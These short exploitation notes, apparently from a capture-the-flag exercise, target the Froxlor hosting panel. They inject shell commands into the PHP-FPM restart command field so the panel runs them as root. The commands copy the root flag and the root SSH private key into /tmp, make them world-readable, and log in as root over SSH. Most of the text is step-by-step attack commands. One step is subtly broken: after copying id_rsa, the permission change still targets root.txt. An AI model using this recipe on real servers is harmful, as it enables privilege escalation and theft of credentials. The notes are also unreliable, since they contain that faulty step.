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# Froxlor
Froxlor exploitation notes for PHP-FPM restart command abuse, root file copy, permission changes, SSH private key recovery, and privilege escalation.
## Exploiting Froxlor - PHP-FPM
**Creation new PHP version :**
After logging in, go to `PHP > PHP-FPM versions` and create a new version. In the PHP-FPM restart command field, enter: `cp /root/root.txt /tmp/root.txt`
Save the configuration, then go to `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. Disable PHP-FPM, save, re-enable it, and save again. This triggers the copy command.
The file is now copied; adjust permissions next:
Repeat the same process, replacing the command with:
```bash
chmod 644 /tmp/root.txt
```
### Flag root : )
To connect as root, copy the root SSH key `id_rsa` and repeat the process to fix permissions:
```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```
```bash
chmod 644 /tmp/root.txt
```
Then connect over SSH with the key:
```bash
ssh -i id_rsa root@localhost
```
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